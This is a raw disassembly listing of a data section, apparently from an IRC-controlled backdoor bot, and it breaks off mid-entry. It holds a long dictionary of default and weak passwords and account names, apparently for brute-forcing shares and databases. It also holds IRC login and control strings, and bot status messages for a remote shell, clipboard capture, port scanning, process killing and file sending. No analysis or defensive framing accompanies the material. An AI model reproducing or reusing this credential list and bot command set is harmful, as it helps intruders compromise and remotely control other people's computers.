'devil',0 ; DATA XREF: .nsp0:0042C4B4o align 4 aNilez db 'Nilez',0 ; DATA XREF: .nsp0:0042C4B0o align 4 aFoobar db 'foobar',0 ; DATA XREF: .nsp0:0042C4ACo align 4 aGod db 'god',0 ; DATA XREF: .nsp0:0042C4A8o aSex_0 db 'sex',0 ; DATA XREF: .nsp0:0042C4A4o aPat db 'pat',0 ; DATA XREF: .nsp0:0042C4A0o aPatrick db 'patrick',0 ; DATA XREF: .nsp0:0042C49Co aAlpha db 'alpha',0 ; DATA XREF: .nsp0:0042C498o align 4 a007 db '007',0 ; DATA XREF: .nsp0:0042C494o ; .nsp0:0042E034o a123abc db '123abc',0 ; DATA XREF: .nsp0:0042C490o ; .nsp0:0042E244o align 4 a1234qwer db '1234qwer',0 ; DATA XREF: .nsp0:0042C48Co ; .nsp0:0042E250o align 10h a123123 db '123123',0 ; DATA XREF: .nsp0:0042C488o ; .nsp0:0042E1F0o align 4 a121212 db '121212',0 ; DATA XREF: .nsp0:0042C484o ; .nsp0:0042E1E8o align 10h a111111 db '111111',0 ; DATA XREF: .nsp0:0042C480o ; .nsp0:0042E060o align 4 a110 db '110',0 ; DATA XREF: .nsp0:0042C47Co ; .nsp0:0042E1B4o a2600 db '2600',0 ; DATA XREF: .nsp0:0042C478o ; .nsp0:0042E33Co align 4 a2002 db '2002',0 ; DATA XREF: .nsp0:0042C470o ; .nsp0:0042E328o align 4 aXp_0 db 'xp',0 ; DATA XREF: .nsp0:0042C46Co align 10h aEnable db 'enable',0 ; DATA XREF: .nsp0:0042C468o align 4 aGodblessyou db 'godblessyou',0 ; DATA XREF: .nsp0:0042C464o aIhavenopass db 'ihavenopass',0 ; DATA XREF: .nsp0:0042C460o a123asd db '123asd',0 ; DATA XREF: .nsp0:0042C45Co ; .nsp0:0042E248o align 4 aSuper db 'super',0 ; DATA XREF: .nsp0:0042C458o align 10h aInternet db 'Internet',0 ; DATA XREF: .nsp0:0042C454o align 4 a123qwe db '123qwe',0 ; DATA XREF: .nsp0:0042C44Co ; .nsp0:0042E24Co align 4 aSybase db 'sybase',0 ; DATA XREF: .nsp0:0042C448o align 4 aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:0042C440o align 4 aAbcd db 'abcd',0 ; DATA XREF: .nsp0:0042C43Co align 4 aPasswd db 'passwd',0 ; DATA XREF: .nsp0:0042C434o align 4 aPass_0 db 'pass',0 ; DATA XREF: .nsp0:0042C430o align 4 a88888888 db '88888888',0 ; DATA XREF: .nsp0:0042C42Co ; .nsp0:0042E180o align 4 a11111111 db '11111111',0 ; DATA XREF: .nsp0:0042C428o ; .nsp0:0042E068o align 4 a111 db '111',0 ; DATA XREF: .nsp0:0042C424o ; .nsp0:0042E054o a54321 db '54321',0 ; DATA XREF: .nsp0:0042C420o ; .nsp0:0042E348o align 10h a654321 db '654321',0 ; DATA XREF: .nsp0:0042C41Co ; .nsp0:0042E34Co align 4 a123456789 db '123456789',0 ; DATA XREF: .nsp0:0042C418o ; .nsp0:0042E208o align 4 a12345678 db '12345678',0 ; DATA XREF: .nsp0:0042C414o ; .nsp0:0042E204o align 10h a1234567 db '1234567',0 ; DATA XREF: .nsp0:0042C410o ; .nsp0:0042E200o a123456 db '123456',0 ; DATA XREF: .nsp0:0042C40Co ; .nsp0:0042E1FCo align 10h a12345 db '12345',0 ; DATA XREF: .nsp0:0042C408o ; .nsp0:0042E1F8o align 4 a1234 db '1234',0 ; DATA XREF: .nsp0:0042C404o ; .nsp0:0042E1F4o align 10h a123 db '123',0 ; DATA XREF: .nsp0:0042C400o ; .nsp0:0042E1ECo a12 db '12',0 ; DATA XREF: .nsp0:0042C3FCo ; .nsp0:0042E1E0o align 4 a1: ; DATA XREF: .nsp0:0042C3F8o ; .nsp0:0042E04Co unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: .nsp0:0042C3F4o aChangeme_0 db 'Changeme',0 ; DATA XREF: .nsp0:0042C3F0o align 10h aChangeme db 'changeme',0 ; DATA XREF: .nsp0:0042C3ECo align 4 aLinux db 'linux',0 ; DATA XREF: .nsp0:0042C3E8o align 4 aUnix db 'unix',0 ; DATA XREF: .nsp0:0042C3E4o align 4 aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:0042C3E0o align 4 aPepsi db 'pepsi',0 ; DATA XREF: .nsp0:0042C3DCo align 4 aServer_1 db 'SERVER',0 ; DATA XREF: .nsp0:0042C3D8o ; .nsp0:0042E798o align 4 aSystem_0 db 'SYSTEM',0 ; DATA XREF: .nsp0:0042C3D4o ; .nsp0:0042E3E8o ... align 4 aBackup db 'BACKUP',0 ; DATA XREF: .nsp0:0042C3D0o ; .nsp0:0042E790o align 4 aAccess db 'ACCESS',0 ; DATA XREF: .nsp0:0042C3C8o ; .nsp0:0042E788o align 4 aTest db 'TEST',0 ; DATA XREF: .nsp0:0042C3C4o ; .nsp0:0042E784o align 4 aEdu db 'edu',0 ; DATA XREF: .nsp0:0042C3C0o ; .nsp0:0042E780o aOwner_1 db 'Owner',0 ; DATA XREF: .nsp0:0042C3BCo ; .nsp0:0042E77Co align 10h aOwner_0 db 'OWNER',0 ; DATA XREF: .nsp0:0042C3B8o ; .nsp0:0042E778o align 4 aDemo db 'DEMO',0 ; DATA XREF: .nsp0:0042C3B4o ; .nsp0:0042E774o align 10h aFiles db 'FILES',0 ; DATA XREF: .nsp0:0042C3B0o ; .nsp0:0042E770o align 4 aRead db 'READ',0 ; DATA XREF: .nsp0:0042C3ACo ; .nsp0:0042E76Co align 10h aBoth db 'BOTH',0 ; DATA XREF: .nsp0:0042C3A8o ; .nsp0:0042E768o align 4 aLadeda db 'ladeda',0 ; DATA XREF: .nsp0:0042C3A4o ; .nsp0:0042E764o align 10h aFull_0 db 'FULL',0 ; DATA XREF: .nsp0:0042C3A0o ; .nsp0:0042E760o align 4 aWrite db 'WRITE',0 ; DATA XREF: .nsp0:0042C39Co ; .nsp0:0042E75Co align 10h aShare_0 db 'SHARE',0 ; DATA XREF: .nsp0:0042C398o ; .nsp0:0042E758o align 4 aTemp db 'TEMP',0 ; DATA XREF: .nsp0:0042C394o ; .nsp0:0042E754o align 10h aPassword db 'PASSWORD',0 ; DATA XREF: .nsp0:0042C390o ; .nsp0:0042E750o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: .nsp0:0042C38Co ; .nsp0:0042E74Co align 4 aRoot_0 db 'ROOT',0 ; DATA XREF: .nsp0:0042C384o ; .nsp0:0042E744o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: .nsp0:0042C380o ; .nsp0:0042E740o align 4 aBla db 'bla',0 ; DATA XREF: .nsp0:0042C37Co ; .nsp0:0042E73Co aFubar db 'fubar',0 ; DATA XREF: .nsp0:0042C378o ; .nsp0:0042E738o align 10h aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0042C36Co ; .nsp0:0042E72Co align 10h aDb2 db 'db2',0 ; DATA XREF: .nsp0:0042C35Co aOracle db 'oracle',0 ; DATA XREF: .nsp0:0042C358o ; .nsp0:0042C444o align 4 aDba db 'dba',0 ; DATA XREF: .nsp0:0042C354o aDatabase db 'database',0 ; DATA XREF: .nsp0:0042C350o ; .nsp0:0042C438o align 4 aDefault db 'default',0 ; DATA XREF: .nsp0:0042C34Co ; .nsp0:0042CAD8o aGuest_0 db 'guest',0 ; DATA XREF: .nsp0:0042C348o align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: .nsp0:0042C344o align 4 aTeacher db 'teacher',0 ; DATA XREF: .nsp0:0042C340o ; .nsp0:0042DA6Co aStudent db 'student',0 ; DATA XREF: .nsp0:0042C33Co ; .nsp0:0042D9B4o aOwner db 'owner',0 ; DATA XREF: .nsp0:0042C338o align 10h aComputer db 'computer',0 ; DATA XREF: .nsp0:0042C334o ; .nsp0:0042C450o align 4 aStaff db 'staff',0 ; DATA XREF: .nsp0:0042C32Co align 4 aAdministrat db 'administrat',0 ; DATA XREF: .nsp0:0042C320o aAdministrateur db 'administrateur',0 ; DATA XREF: .nsp0:0042C31Co align 10h aAdministrato_0 db 'Administrator',0 ; DATA XREF: sub_413627:loc_413732o ; .nsp0:0042C310o ... align 10h aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: .nsp0:off_42C264o a@room db '*@room',0 ; DATA XREF: .nsp0:off_42C260o align 4 dword_433124 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40C682+35Co dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h dd 2E64h dword_433150 dd 25207325h, 25222064h, 2273hdword_43315C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CB75+F2o dd 2029206Ch, 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40CCDD+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40CCDD+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CDDo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CC8o align 4 dword_4331D4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5CBBo dd 2029206Ch, 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 4 dword_433208 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5C9Eo dd 2029206Ch, 2BBBB02h aPasswordAccept db ' Password accepted.',0 align 4 dword_43323C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5C40o dd 2029206Ch, 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 dword_43327C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5BD0o dd 2029206Ch, 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5BC1o ; sub_40CE55+5C31o align 10h aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5BADo ; sub_40CE55+5C1Do align 4 asc_433308: ; DATA XREF: sub_40CE55+5B7Do unicode 0, <~>,0 dword_43330C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5B2Co dd 2029206Ch, 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_433344 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5A7Eo dd 2029206Ch, 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_433384 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5A73o dd 2029206Ch, 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 dword_4333C4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5A0Fo dd 2029206Ch, 2BBBB02h, 73252020h, 0 unk_4333E8 db 2 ; DATA XREF: sub_40CE55+59E5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 4 dword_433438 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_40CE55+596Fo dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h dd 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40CE55+5969o align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_40CE55+5962o align 4 aSec db 'sec',0 ; DATA XREF: sub_40CE55+5907o aSecure db 'secure',0 ; DATA XREF: sub_40CE55+58F6o align 4 unk_433488 db 2 ; DATA XREF: sub_40CE55+58EBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_4334D4 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_4334E4 dd 646E6946h, 6C696620h, 65hdword_4334F0 dd 72027002h, 1F631F6Fh, 2E2Ehdword_4334FC dd 636F7250h, 20737365h, 7473696Ch, 0dword_43350C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5779o dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h dd 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_4125C1o align 10h dword_433550 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5757o dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh dd 2E676E69h, 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_41259Fo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5722o align 4 dword_4335A4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+56D6o dd 2029206Ch, 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_4335E4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5698o dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah dd 2Eh dword_433610 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CE55+566Do dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_43365C dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CE55+5602o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h dd 61657268h, 2E7364h dword_43368C dd 627573h dword_433690 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+558Do dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch dd 2Eh dword_4336BC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40CE55+5572o dd 2029206Ch, 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_433708 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40CE55+54E5o dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h dd 2E67h dword_433734 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5464o dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh dd 2E6F66h dword_433760 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5435o dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h dd 2E6Fh dword_43378C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+53E0o dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh dd 2E746Fh dword_4337B8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55+53CDo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStar_9 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_433808 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55+535Eo dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh dd 6C207373h, 2E747369h, 0 aFull db 'full',0 ; DATA XREF: sub_40CE55+533Eo align 4 dword_433844 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55+52E7o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyRunning db ' Already running.',0 align 4 unk_433878 db 2 ; DATA XREF: sub_40CE55+52BBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 64h, 6Bh, 65h db 79h ; y db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 4 dword_4338AC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+526Fo dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah dd 2Eh dword_4338D8 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_412027o dd 2029206Ch, 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_43390C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CE55+51CBo dd 2029206Ch, 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 4 dword_433948 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40CE55+51AFo dd 2029206Ch, 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_433984 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5199o dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h dd 2E647261h, 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CE55+516Bo align 4 unk_4339C8 db 2 ; DATA XREF: sub_40CE55:loc_411FB0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 unk_433A08 db 2 ; DATA XREF: sub_40CE55+5140o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 10h unk_433A40 db 2 ; DATA XREF: sub_40CE55:loc_411F85o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 10h unk_433A80 db 2 ; DATA XREF: sub_40CE55:loc_411F7Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 10h unk_433AC0 db 2 ; DATA XREF: sub_40CE55+5122o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 unk_433AF8 db 2 ; DATA XREF: sub_40CE55+50A4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_10 db 'Failed to start server thread, error: <%d>.',0 unk_433B44 db 2 ; DATA XREF: sub_40CE55+4F32o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_433B90 db 2 ; DATA XREF: sub_40CE55+4E0Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_0 db 'Already running.',0 align 4 dword_433BC4 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CE55:loc_411C49o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_12 db ' Failed to start scan, port is invalid.',0 align 10h dword_433C10 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: sub_40CE55+4D35o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 dword_433C8C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4AF9o dd 2029206Ch, 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_433CC4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4AE0o dd 2029206Ch, 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_433CF8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4AC0o dd 2029206Ch, 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_433D2C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+4AA7o dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h dd 2E73h dword_433D58 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CE55:loc_41187Eo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 4 dword_433D98 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CE55+4A22o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 10h dword_433DD0 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CE55:loc_411831o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_433E0C dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: sub_40CE55+49D2o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_40CE55+49B8o aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+492Do ; sub_40CE55:loc_412589o align 4 dword_433E5C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+48B7o dd 2029206Ch, 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_433E94 db 2 ; DATA XREF: sub_40CE55:loc_4116F7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0 align 4 unk_433ECC db 2 ; DATA XREF: sub_40CE55+4898o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFileOpenedS db 'File opened: %s',0 dword_433EFC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+486Fo dd 2029206Ch, 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_433F34 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: sub_40CE55:loc_4116A8o dd 2029206Ch, 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 10h dword_433F70 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh ; DATA XREF: sub_40CE55+4825o dd 2029206Ch, 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 dword_433FA0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55:loc_411646o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTermin db ' Failed to terminate process: %s',0 align 4 dword_433FE4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55+47E7o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledS db ' Process killed: %s',0 align 4 dword_43401C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55:loc_4115E6o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 align 4 dword_434064 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_40CE55+478Ao dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessKilledI db ' Process killed ID: %s',0 dword_43409C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: sub_40CE55+4749o dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h dd 2E277325h, 0 dword_4340CC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+46C4o dd 2029206Ch, 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 4 dword_434104 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh ; DATA XREF: sub_40CE55+4652o dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_43412C db 2 ; DATA XREF: sub_40CE55+4637o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_13 db 'Failed to start connection thread, error: <%d>.',0 dword_43417C dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_40CE55+45C8o dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h dd 0 dword_4341A8 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh ; DATA XREF: sub_40CE55:loc_4113AEo dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh dd 2E746E65h, 0 unk_4341D8 db 2 ; DATA XREF: sub_40CE55+454Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 6Dh ; m db 69h, 72h, 63h db 2Eh ; 